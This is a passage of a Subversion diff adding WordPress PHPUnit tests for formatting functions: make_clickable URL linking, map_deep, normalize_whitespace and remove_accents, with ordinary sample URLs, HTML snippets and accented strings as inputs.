+			$this->assertEquals($email, make_clickable($email));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs with protocol (i.e. http://wordpress.org)
+	function test_strip_trailing_with_protocol() {
+		$urls_before = array(
+			'http://wordpress.org/hello.html',
+			'There was a spoon named http://wordpress.org. Alice!',
+			'There was a spoon named http://wordpress.org, said Alice.',
+			'There was a spoon named http://wordpress.org; said Alice.',
+			'There was a spoon named http://wordpress.org: said Alice.',
+			'There was a spoon named (http://wordpress.org) said Alice.'
+			);
+		$urls_expected = array(
+			'<a href="http://wordpress.org/hello.html" rel="nofollow">http://wordpress.org/hello.html</a>',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>. Alice!',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>, said Alice.',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>; said Alice.',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>: said Alice.',
+			'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>) said Alice.'
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs with protocol (i.e. http://wordpress.org)
+	function test_strip_trailing_with_protocol_nothing_afterwards() {
+		$urls_before = array(
+			'http://wordpress.org/hello.html',
+			'There was a spoon named http://wordpress.org.',
+			'There was a spoon named http://wordpress.org,',
+			'There was a spoon named http://wordpress.org;',
+			'There was a spoon named http://wordpress.org:',
+			'There was a spoon named (http://wordpress.org)',
+			'There was a spoon named (http://wordpress.org)x',
+			);
+		$urls_expected = array(
+			'<a href="http://wordpress.org/hello.html" rel="nofollow">http://wordpress.org/hello.html</a>',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>.',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>,',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>;',
+			'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>:',
+			'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>)',
+			'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>)x',
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs without protocol (i.e. www.wordpress.org)
+	function test_strip_trailing_without_protocol() {
+		$urls_before = array(
+			'www.wordpress.org',
+			'There was a spoon named www.wordpress.org. Alice!',
+			'There was a spoon named www.wordpress.org, said Alice.',
+			'There was a spoon named www.wordpress.org; said Alice.',
+			'There was a spoon named www.wordpress.org: said Alice.',
+			'There was a spoon named www.wordpress.org) said Alice.'
+			);
+		$urls_expected = array(
+			'<a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>. Alice!',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>, said Alice.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>; said Alice.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>: said Alice.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>) said Alice.'
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// tests that make_clickable will not link trailing periods, commas and
+	// (semi-)colons in URLs without protocol (i.e. www.wordpress.org)
+	function test_strip_trailing_without_protocol_nothing_afterwards() {
+		$urls_before = array(
+			'www.wordpress.org',
+			'There was a spoon named www.wordpress.org.',
+			'There was a spoon named www.wordpress.org,',
+			'There was a spoon named www.wordpress.org;',
+			'There was a spoon named www.wordpress.org:',
+			'There was a spoon named www.wordpress.org)'
+			);
+		$urls_expected = array(
+			'<a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>.',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>,',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>;',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>:',
+			'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>)'
+			);
+
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// #4570
+	function test_iri() {
+		$urls_before = array(
+			'http://www.詹姆斯.com/',
+			'http://bg.wikipedia.org/Баба',
+			'http://example.com/?a=баба&b=дядо',
+		);
+		$urls_expected = array(
+			'<a href="http://www.詹姆斯.com/" rel="nofollow">http://www.詹姆斯.com/</a>',
+			'<a href="http://bg.wikipedia.org/Баба" rel="nofollow">http://bg.wikipedia.org/Баба</a>',
+			'<a href="http://example.com/?a=баба&#038;b=дядо" rel="nofollow">http://example.com/?a=баба&#038;b=дядо</a>',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// #10990
+	function test_brackets_in_urls() {
+		$urls_before = array(
+			'http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)',
+			'(http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software))',
+			'blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah',
+			'blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah',
+			'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah blah',
+			'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah',
+			'blah blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah',
+			'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).) blah blah',
+			'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).)moreurl blah blah',
+			'In his famous speech “You and Your research” (here:
+			http://www.cs.virginia.edu/~robins/YouAndYourResearch.html)
+			Richard Hamming wrote about people getting more done with their doors closed, but',
+		);
+		$urls_expected = array(
+			'<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>',
+			'(<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>)',
+			'blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a> blah',
+			'blah (<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah',
+			'blah blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a> blah blah',
+			'blah blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah blah',
+			'blah blah (<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah blah',
+			'blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>.) blah blah',
+			'blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>.)moreurl blah blah',
+			'In his famous speech “You and Your research” (here:
+			<a href="http://www.cs.virginia.edu/~robins/YouAndYourResearch.html" rel="nofollow">http://www.cs.virginia.edu/~robins/YouAndYourResearch.html</a>)
+			Richard Hamming wrote about people getting more done with their doors closed, but',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// Based on a real comments which were incorrectly linked. #11211
+	function test_real_world_examples() {
+		$urls_before = array(
+			'Example: WordPress, test (some text), I love example.com (http://example.org), it is brilliant',
+			'Example: WordPress, test (some text), I love example.com (http://example.com), it is brilliant',
+			'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...',
+			'In his famous speech “You and Your research” (here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...',
+		);
+		$urls_expected = array(
+			'Example: WordPress, test (some text), I love example.com (<a href="http://example.org" rel="nofollow">http://example.org</a>), it is brilliant',
+			'Example: WordPress, test (some text), I love example.com (<a href="http://example.com" rel="nofollow">http://example.com</a>), it is brilliant',
+			'Some text followed by a bracketed link with a trailing elipsis (<a href="http://example.com" rel="nofollow">http://example.com</a>)...',
+			'In his famous speech “You and Your research” (here: <a href="http://www.cs.virginia.edu/~robins/YouAndYourResearch.html" rel="nofollow">http://www.cs.virginia.edu/~robins/YouAndYourResearch.html</a>) Richard Hamming wrote about people getting more done with their doors closed...',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// #14993
+	function test_twitter_hash_bang() {
+		$urls_before = array(
+			'http://twitter.com/#!/wordpress/status/25907440233',
+			'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233 !',
+			'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233!',
+		);
+		$urls_expected = array(
+			'<a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a>',
+			'This is a really good tweet <a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a> !',
+			'This is a really good tweet <a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a>!',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	function test_wrapped_in_angles() {
+		$before = array(
+			'URL wrapped in angle brackets <http://example.com/>',
+			'URL wrapped in angle brackets with padding < http://example.com/ >',
+			'mailto wrapped in angle brackets <foo@example.com>',
+		);
+		$expected = array(
+			'URL wrapped in angle brackets <<a href="http://example.com/" rel="nofollow">http://example.com/</a>>',
+			'URL wrapped in angle brackets with padding < <a href="http://example.com/" rel="nofollow">http://example.com/</a> >',
+			'mailto wrapped in angle brackets <foo@example.com>',
+		);
+		foreach ($before as $key => $url) {
+			$this->assertEquals($expected[$key], make_clickable($url));
+		}
+	}
+
+	function test_preceded_by_punctuation() {
+		$before = array(
+			'Comma then URL,http://example.com/',
+			'Period then URL.http://example.com/',
+			'Semi-colon then URL;http://example.com/',
+			'Colon then URL:http://example.com/',
+			'Exclamation mark then URL!http://example.com/',
+			'Question mark then URL?http://example.com/',
+		);
+		$expected = array(
+			'Comma then URL,<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Period then URL.<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Semi-colon then URL;<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Colon then URL:<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Exclamation mark then URL!<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Question mark then URL?<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+		);
+		foreach ($before as $key => $url) {
+			$this->assertEquals($expected[$key], make_clickable($url));
+		}
+	}
+
+	function test_dont_break_attributes() {
+		$urls_before = array(
+			"<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>",
+			"(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"http://trunk.domain/testing#something (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"http://trunk.domain/testing#something
+			(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='opaque' /> <embed src='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='opaque'></embed> </object></span>",
+			'<a href="http://example.com/example.gif" title="Image from http://example.com">Look at this image!</a>',
+		);
+		$urls_expected = array(
+			"<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>",
+			"(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<a href=\"http://trunk.domain/testing#something\" rel=\"nofollow\">http://trunk.domain/testing#something</a> (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<a href=\"http://trunk.domain/testing#something\" rel=\"nofollow\">http://trunk.domain/testing#something</a>
+			(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='opaque' /> <embed src='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='opaque'></embed> </object></span>",
+			'<a href="http://example.com/example.gif" title="Image from http://example.com">Look at this image!</a>',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	/**
+	 * @ticket 23756
+	 */
+	function test_no_links_inside_pre_or_code() {
+		$before = array(
+			'<pre>http://wordpress.org</pre>',
+			'<code>http://wordpress.org</code>',
+			'<pre class="foobar" id="foo">http://wordpress.org</pre>',
+			'<code class="foobar" id="foo">http://wordpress.org</code>',
+			'<precustomtag>http://wordpress.org</precustomtag>',
+			'<codecustomtag>http://wordpress.org</codecustomtag>',
+			'URL before pre http://wordpress.org<pre>http://wordpress.org</pre>',
+			'URL before code http://wordpress.org<code>http://wordpress.org</code>',
+			'URL after pre <PRE>http://wordpress.org</PRE>http://wordpress.org',
+			'URL after code <code>http://wordpress.org</code>http://wordpress.org',
+			'URL before and after pre http://wordpress.org<pre>http://wordpress.org</pre>http://wordpress.org',
+			'URL before and after code http://wordpress.org<code>http://wordpress.org</code>http://wordpress.org',
+			'code inside pre <pre>http://wordpress.org <code>http://wordpress.org</code> http://wordpress.org</pre>',
+		);
+
+		$expected = array(
+			'<pre>http://wordpress.org</pre>',
+			'<code>http://wordpress.org</code>',
+			'<pre class="foobar" id="foo">http://wordpress.org</pre>',
+			'<code class="foobar" id="foo">http://wordpress.org</code>',
+			'<precustomtag><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a></precustomtag>',
+			'<codecustomtag><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a></codecustomtag>',
+			'URL before pre <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><pre>http://wordpress.org</pre>',
+			'URL before code <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><code>http://wordpress.org</code>',
+			'URL after pre <PRE>http://wordpress.org</PRE><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'URL after code <code>http://wordpress.org</code><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'URL before and after pre <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><pre>http://wordpress.org</pre><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'URL before and after code <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><code>http://wordpress.org</code><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'code inside pre <pre>http://wordpress.org <code>http://wordpress.org</code> http://wordpress.org</pre>',
+		);
+
+		foreach ( $before as $key => $url )
+			$this->assertEquals( $expected[ $key ], make_clickable( $url ) );
+	}
+
+	/**
+	 * @ticket 16892
+	 */
+	function test_click_inside_html() {
+		$urls_before = array(
+			'<span>http://example.com</span>',
+			'<p>http://example.com/</p>',
+		);
+		$urls_expected = array(
+			'<span><a href="http://example.com" rel="nofollow">http://example.com</a></span>',
+			'<p><a href="http://example.com/" rel="nofollow">http://example.com/</a></p>',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals( $urls_expected[$key], make_clickable( $url ) );
+		}
+	}
+
+	function test_no_links_within_links() {
+		$in = array(
+			'Some text with a link <a href="http://example.com">http://example.com</a>',
+			//'<a href="http://wordpress.org">This is already a link www.wordpress.org</a>', // fails in 3.3.1 too
+		);
+		foreach ( $in as $text ) {
+			$this->assertEquals( $text, make_clickable( $text ) );
+		}
+	}
+
+	/**
+	 * @ticket 16892
+	 */
+	function test_no_segfault() {
+		$in = str_repeat( 'http://example.com/2011/03/18/post-title/', 256 );
+		$out = make_clickable( $in );
+		$this->assertEquals( $in, $out );
+	}
+
+	/**
+	 * @ticket 19028
+	 */
+	function test_line_break_in_existing_clickable_link() {
+		$html = "<a
+				  href='mailto:someone@example.com'>someone@example.com</a>";
+		$this->assertEquals( $html, make_clickable( $html ) );
+	}
+
+	/**
+	 * @dataProvider data_script_and_style_tags
+	 * @ticket 30162
+	 */
+	public function test_dont_link_script_and_style_tags( $tag ) {
+		$this->assertEquals( $tag, make_clickable( $tag ) );
+	}
+
+	public function data_script_and_style_tags() {
+		return array(
+			array(
+				'<script>http://wordpress.org</script>',
+			),
+			array(
+				'<style>http://wordpress.org</style>',
+			),
+			array(
+				'<script type="text/javascript">http://wordpress.org</script>',
+			),
+			array(
+				'<style type="text/css">http://wordpress.org</style>',
+			),
+		);
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/MapDeep.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/MapDeep.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/MapDeep.php	(revision 56912)
@@ -0,0 +1,125 @@
+<?php
+
+/**
+ * @group formatting
+ * @ticket 22300
+ */
+class Tests_Formatting_MapDeep extends WP_UnitTestCase {
+
+	public function test_map_deep_with_any_function_over_empty_array_should_return_empty_array() {
+		$this->assertEquals( array(), map_deep( array(), array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_map_each_element_of_array_one_level_deep() {
+		$this->assertEquals( array(
+			'ababa',
+			'xbaba',
+		), map_deep( array(
+			'a',
+			'x',
+		), array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_map_each_element_of_array_two_levels_deep() {
+		$this->assertEquals( array(
+			'ababa',
+			array(
+				'xbaba',
+			),
+		), map_deep( array(
+			'a',
+			array(
+				'x',
+			),
+		), array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_map_each_object_element_of_an_array() {
+		$this->assertEquals( array(
+			'var0' => 'ababa',
+			'var1' => (object) array(
+				'var0' => 'xbaba',
+			),
+		), map_deep( array(
+			'var0' => 'a',
+			'var1' => (object) array(
+				'var0' => 'x',
+			),
+		), array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_apply_the_function_to_a_string() {
+		$this->assertEquals( 'xbaba', map_deep( 'x', array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_apply_the_function_to_an_integer() {
+		$this->assertEquals( '5baba' , map_deep( 5, array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_map_each_property_of_an_object() {
+		$this->assertEquals( (object) array(
+			'var0' => 'ababa',
+			'var1' => 'xbaba',
+		), map_deep( (object) array(
+			'var0' => 'a',
+			'var1' => 'x',
+		), array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_map_each_array_property_of_an_object() {
+		$this->assertEquals( (object) array(
+			'var0' => 'ababa',
+			'var1' => array(
+				'xbaba',
+			),
+		), map_deep( (object) array(
+			'var0' => 'a',
+			'var1' => array(
+				'x',
+			),
+		), array( $this, 'append_baba' ) ) );
+	}
+
+	public function test_map_deep_should_map_each_object_property_of_an_object() {
+		$this->assertEquals( (object) array(
+			'var0' => 'ababa',
+			'var1' => (object) array(
+				'var0' => 'xbaba',
+			),
+		), map_deep( (object) array(
+			'var0' => 'a',
+			'var1' => (object) array(
+				'var0' => 'x',
+			),
+		), array( $this, 'append_baba' ) ) );
+	}
+
+	/**
+	 * @ticket 35058
+	 */
+	public function test_map_deep_should_map_object_properties_passed_by_reference() {
+		$object_a = (object) array( 'var0' => 'a' );
+		$object_b = (object) array( 'var0' => &$object_a->var0, 'var1' => 'x' );
+		$this->assertEquals( (object) array(
+			'var0' => 'ababa',
+			'var1' => 'xbaba',
+		), map_deep( $object_b, array( $this, 'append_baba' ) ) );
+	}
+
+	/**
+	 * @ticket 35058
+	 */
+	public function test_map_deep_should_map_array_elements_passed_by_reference() {
+		$array_a = array( 'var0' => 'a' );
+		$array_b = array( 'var0' => &$array_a['var0'], 'var1' => 'x' );
+		$this->assertEquals( array(
+			'var0' => 'ababa',
+			'var1' => 'xbaba',
+		), map_deep( $array_b, array( $this, 'append_baba' ) ) );
+	}
+
+	public function append_baba( $value ) {
+		return $value . 'baba';
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/NormalizeWhitespace.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/NormalizeWhitespace.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/NormalizeWhitespace.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * @group formatting
+ */
+class Tests_Formatting_NormalizeWhitespace extends WP_UnitTestCase {
+	/**
+	 * WhitespaceTest Content DataProvider
+	 *
+	 * array( input_txt, converted_output_txt)
+	 */
+	public function get_input_output() {
+		return array (
+			array (
+				"		",
+				""
+			),
+			array (
+				"\rTEST\r",
+				"TEST"
+			),
+			array (
+				"\r\nMY TEST CONTENT\r\n",
+				"MY TEST CONTENT"
+			),
+			array (
+				"MY\r\nTEST\r\nCONTENT ",
+				"MY\nTEST\nCONTENT"
+			),
+			array (
+				"\tMY\rTEST\rCONTENT ",
+				"MY\nTEST\nCONTENT"
+			),
+			array (
+				"\tMY\t\t\tTEST\r\t\t\rCONTENT ",
+				"MY TEST\n \nCONTENT"
+			),
+			array (
+				"\tMY TEST \t\t\t CONTENT ",
+				"MY TEST CONTENT"
+			),
+		);
+	}
+
+	/**
+	 * Validate the normalize_whitespace function
+	 *
+	 * @dataProvider get_input_output
+	 */
+	function test_normalize_whitespace( $in_str, $exp_str ) {
+		$this->assertEquals($exp_str, normalize_whitespace( $in_str ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/RemoveAccents.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/RemoveAccents.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/RemoveAccents.php	(revision 56912)
@@ -0,0 +1,146 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_RemoveAccents extends WP_UnitTestCase {
+	public function test_remove_accents_simple() {
+		$this->assertEquals( 'abcdefghijkl', remove_accents( 'abcdefghijkl' ) );
+	}
+
+	/**
+	 * @ticket 9591
+	 */
+	public function test_remove_accents_latin1_supplement() {
+		$input = 'ªºÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ';
+		$output = 'aoAAAAAAAECEEEEIIIIDNOOOOOOUUUUYTHsaaaaaaaeceeeeiiiidnoooooouuuuythy';
+
+		$this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin-1 Supplement' );
+	}
+
+	public function test_remove_accents_latin_extended_a() {
+		$input = 'ĀāĂăĄąĆćĈĉĊċČčĎďĐđĒēĔĕĖėĘęĚěĜĝĞğĠġĢģĤĥĦħĨĩĪīĬĭĮįİıĲĳĴĵĶķĸĹĺĻļĽľĿŀŁłŃńŅņŇňŉŊŋŌōŎŏŐőŒœŔŕŖŗŘřŚśŜŝŞşŠšŢţŤťŦŧŨũŪūŬŭŮůŰűŲųŴŵŶŷŸŹźŻżŽžſ';
+		$output = 'AaAaAaCcCcCcCcDdDdEeEeEeEeEeGgGgGgGgHhHhIiIiIiIiIiIJijJjKkkLlLlLlLlLlNnNnNnnNnOoOoOoOEoeRrRrRrSsSsSsSsTtTtTtUuUuUuUuUuUuWwYyYZzZzZzs';
+
+		$this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin Extended A' );
+	}
+
+	public function test_remove_accents_latin_extended_b() {
+		$this->assertEquals( 'SsTt', remove_accents( 'ȘșȚț' ), 'remove_accents replaces Latin Extended B' );
+	}
+
+	public function test_remove_accents_euro_pound_signs() {
+		$this->assertEquals( 'E', remove_accents( '€' ), 'remove_accents replaces euro sign' );
+		$this->assertEquals( '', remove_accents( '£' ), 'remove_accents replaces pound sign' );
+	}
+
+	public function test_remove_accents_iso8859() {
+		// File is Latin1 encoded
+		$file = DIR_TESTDATA . '/formatting/remove_accents.01.input.txt';
+		$input = file_get_contents( $file );
+		$input = trim( $input );
+		$output = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyyOEoeAEDHTHssaedhth";
+
+		$this->assertEquals( $output, remove_accents( $input ), 'remove_accents from ISO-8859-1 text' );
+	}
+
+	/**
+	 * @ticket 17738
+	 */
+	public function test_remove_accents_vowels_diacritic() {
+		// Vowels with diacritic
+		// unmarked
+		$this->assertEquals( 'OoUu', remove_accents( 'ƠơƯư' ) );
+		// grave accent
+		$this->assertEquals( 'AaAaEeOoOoUuYy', remove_accents( 'ẦầẰằỀềỒồỜờỪừỲỳ' ) );
+		// hook
+		$this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẢảẨẩẲẳẺẻỂểỈỉỎỏỔổỞởỦủỬửỶỷ' ) );
+		// tilde
+		$this->assertEquals( 'AaAaEeEeOoOoUuYy', remove_accents( 'ẪẫẴẵẼẽỄễỖỗỠỡỮữỸỹ' ) );
+		// acute accent
+		$this->assertEquals( 'AaAaEeOoOoUu', remove_accents( 'ẤấẮắẾếỐốỚớỨứ' ) );
+		// dot below
+		$this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẠạẬậẶặẸẹỆệỊịỌọỘộỢợỤụỰựỴỵ' ) );
+	}
+
+	/**
+	 * @ticket 20772
+	 */
+	public function test_remove_accents_hanyu_pinyin() {
+		// Vowels with diacritic (Chinese, Hanyu Pinyin)
+		// macron
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'āēīōūǖĀĒĪŌŪǕ' ) );
+		// acute accent
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'áéíóúǘÁÉÍÓÚǗ' ) );
+		// caron
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'ǎěǐǒǔǚǍĚǏǑǓǙ' ) );
+		// grave accent
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'àèìòùǜÀÈÌÒÙǛ' ) );
+		// unmarked
+		$this->assertEquals( 'aaeiouuAEIOUU', remove_accents( 'aɑeiouüAEIOUÜ' ) );
+	}
+
+	function _remove_accents_germanic_umlauts_cb() {
+		return 'de_DE';
+	}
+
+	/**
+	 * @ticket 3782
+	 */
+	public function test_remove_accents_germanic_umlauts() {
+		add_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) );
+
+		$this->assertEquals( 'AeOeUeaeoeuess', remove_accents( 'ÄÖÜäöüß' ) );
+
+		remove_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) );
+	}
+
+	public function _set_locale_to_danish() {
+		return 'da_DK';
+	}
+
+	/**
+	 * @ticket 23907
+	 */
+	public function test_remove_danish_accents() {
+		add_filter( 'locale', array( $this, '_set_locale_to_danish' ) );
+		
+		$this->assertEquals( 'AeOeAaaeoeaa', remove_accents( 'ÆØÅæøå' ) );
+		
+		remove_filter( 'locale', array( $this, '_set_locale_to_danish' ) );
+	}
+
+	public function _set_locale_to_catalan() {
+		return 'ca';
+	}
+
+	/**
+	 * @ticket 37086
+	 */
+	public function test_remove_catalan_middot() {
+		add_filter( 'locale', array( $this, '_set_locale_to_catalan' ) );
+
+		$this->assertEquals( 'allallalla', remove_accents( 'al·lallaŀla' ) );
+		
+		remove_filter( 'locale', array( $this, '_set_locale_to_catalan' ) );
+		
+		$this->assertEquals( 'al·lallalla', remove_accents( 'al·lallaŀla' ) );
+	}
+
